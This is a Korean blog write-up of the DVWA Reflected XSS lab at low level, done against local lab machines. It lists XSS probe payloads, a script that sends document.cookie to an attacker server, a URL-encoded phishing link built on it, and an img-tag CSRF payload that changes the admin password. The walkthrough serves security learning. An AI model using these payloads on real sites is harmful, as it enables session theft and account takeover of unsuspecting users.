XSS 취약점은 애플리케이션에서 브라우저로 전송하는 페이지에서 사용자가 입력하는 데이터를 검증하지 않거나 출력 시 악의적인 데이터를 제한시키지 않을 때 발생하는 취약점임. 따라서 공격자는 악의적인 스크립트 코드를 웹 애플리케이션에 삽입한 후 웹 사용자의 웹 브라우저에서 해당 코드가 실행되도록 만드는 공격할 수 있음.
XSS 공격은 공격자가 삽입한 스크립트 코드가 언제 실행되는지에 따라 Reflected, Stored 그리고 DOM XSS로 구분됨.
- Reflected XSS는 요청 메시지에 입력된 스크립트 코드가 즉시 응답 메시지를 통해 출력되는 취약점임. 말뜻 그대로 입
력된 스크립트가 Relfected (반사)되는 것처럼 동작하기 때문에 붙은 이름임.
- 통상적으로 어떤 웹 애플리케이션이 사용자가 입력한 값을 그대로 출력하는 경우 Reflected XSS 취약점이 존재할 가
능성이 상당히 높음.
- Reflected XSS는 앞서 말했지만, 악성 스크립트 코드를 서버에 저장하지 않고 사용자의 요청 웹 서버의 반환 데이터를
이용함.
Low 레벨
- 입력폼에서 받은 문자열이 그대로 Hello와 결합되어 출력되는것을 확인할 수 있음.
- 또한 쿼리스트링에 입력값이 그대로 출력되는 것을 보아 요청 메서드는 GET방식인 것을 알 수 있음.
- 입력값이 그대로 출력되는 것을 보면 Reflected XSS 취약점이 존재할 가능성 높음.
- XSS 취약점이 존재여부 확인방법은 간단한 스크립트 태그를 삽입해보는 것
<script>alert(1)</script>
<script>alert('want_xss?')</script>
<script>document.write(document.cookie)</script>
<script></script>
<script src=""></script>
<img src=""> 혹은 <img src=x onerror="">
<iframe src=""></iframe>
<svg onload="">
등 의 태그로 XSS 공격 가능
- 입력한 자바스크립트 함수에 의해 PHP세센쿠기가 노출된 것을 확인가능
- 스크립트의 결과가 반환되는 것을 보면, 공격이 성공함을 알 수 있음.
- 지금은 단순히 세션쿠키를 희생자의 화면에 표시했지만, 세션쿠키를 공격자의 호스트로 전송하여 세션하이재킹을 할
수 있음.
세션 하이재킹
- document.location은 지정한 위치로 Redirection시키는 스크립트임.
<script>document.location='http://공격자서버/cookie?'+document.cookie</script>
공격자서버에는 공격자IP주소를 넣어야함ㅇㅇ
- 입력폼에 상단의 스크립트는 삽입하면, 공격자의 호스트의 주소로 리다이렉션되는 것임.
- 리다이렉션이 되면 오류가 발생하는데 이 오류는 공격자의 호스트에 URL이라는 리소스가 없어서 오류가 나는 것임.
- 오류가 발생하면 희생자가 눈치챌수있기 때문에, 실제 해킹에서는 아무일도없는것처럼 만들수도 있음.
- 하지만 공격자서버(kali)의 access.log를 살펴보면 희생자(로컬)의 쿠키정보가 공격자서버의 로그에 노출된것을
확인할 수 있음.
- 하지만 여기서 어떤 멍청한 사용자가 직접 스크립트를 입력할까라는 생각이 듬.
- 따라서 해커는 피싱 등을 이용해서 희생자가 상단에 실습했던 쿠키가 탈취되는 등의 스크립트를 자신도 모르게 실행시
켜야 한다. 피싱 뿐만 아니라 메일,게시판, SNS, 문자 등을 이용해서 XSS취약점이 있는 URL을 노출시켜야 함.
피싱을 이용한 세션 하이재킹
- 공격대상한테 XSS취약점이 발생한 URL을 삽입하여 피싱 메일을 생성
http://192.168.35.125/DVWA/vulnerabilities/xss_r/?name=<script>document.location%3D'http://192.168.75.129/cookie%3F'%2Bdocument.cookie</script>
# name 파라미터에 스크립트를 삽입하면 됨
# 삽입한 스크립트의 = 와 ? 는 URL 인코딩하여 메일로 전송
- 상단의 여기 링크를 클릭하면 아까와 마찬가지로 DVWA의 PHP 세션쿠키 정보가 공격자의 서버로 넘어가게 된다.
Relfected XSS를 이용한 CSRF
- 이렇게 세션하이재킹하고, 훔친 세션으로 재전송공격(Replay Attack)을 하여 CSRF 요청변조를 할 수 있음.
- img 태그를이용하면 Reflected XSS페이지에서 CSRF를 수행할수 있음.
- 쿼리스트링 전 URL부분은 DVWA의 CSRF 실습페이지임. 각 파라미터값는 비밀번호를 바꾸기 위한 값임.
<img src="http://192.168.35.125/DVWA/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change">
ip 주소에는 웹서버 IP주소가 들어가야 함.
- src에 사용된 링크는 이미지가 아니기때문에 사진이 깨지는것은 당연함.
- 깨진 사진이 뜨면 정상적으로 공격이 수행된 것임.
- DVWA의 비밀번호가 test로 바뀌었을 것임.
- Brute-Force 페이지로 가서 DVWA 기본 id,password인 admin과 password를 입력했지만 로그인 실패 (좌)
- admin과 test를 입력했더니 로그인 성공(우)
이로서 XSS를이용한 CSRF공격이 성공한것을 알 수 있음.
Low 레벨 소스코드
- 요점은 파라미터name 이라는 값이 그대로 출력되어, 악의적인 스크립트도 실행되는 것이다.
- 아무런 대응을 하고 있지않음
'WebHacking > DVWA' 카테고리의 다른 글
[DVWA] XSS (Stored) (0) | 2022.01.17 |
---|---|
[DVWA] XSS (Reflected) (2) (0) | 2022.01.13 |
[DVWA] Command Injection (0) | 2022.01.12 |
[DVWA] SQL Injection (3) (0) | 2022.01.12 |
[DVWA] SQL Injection (Blind) (0) | 2022.01.12 |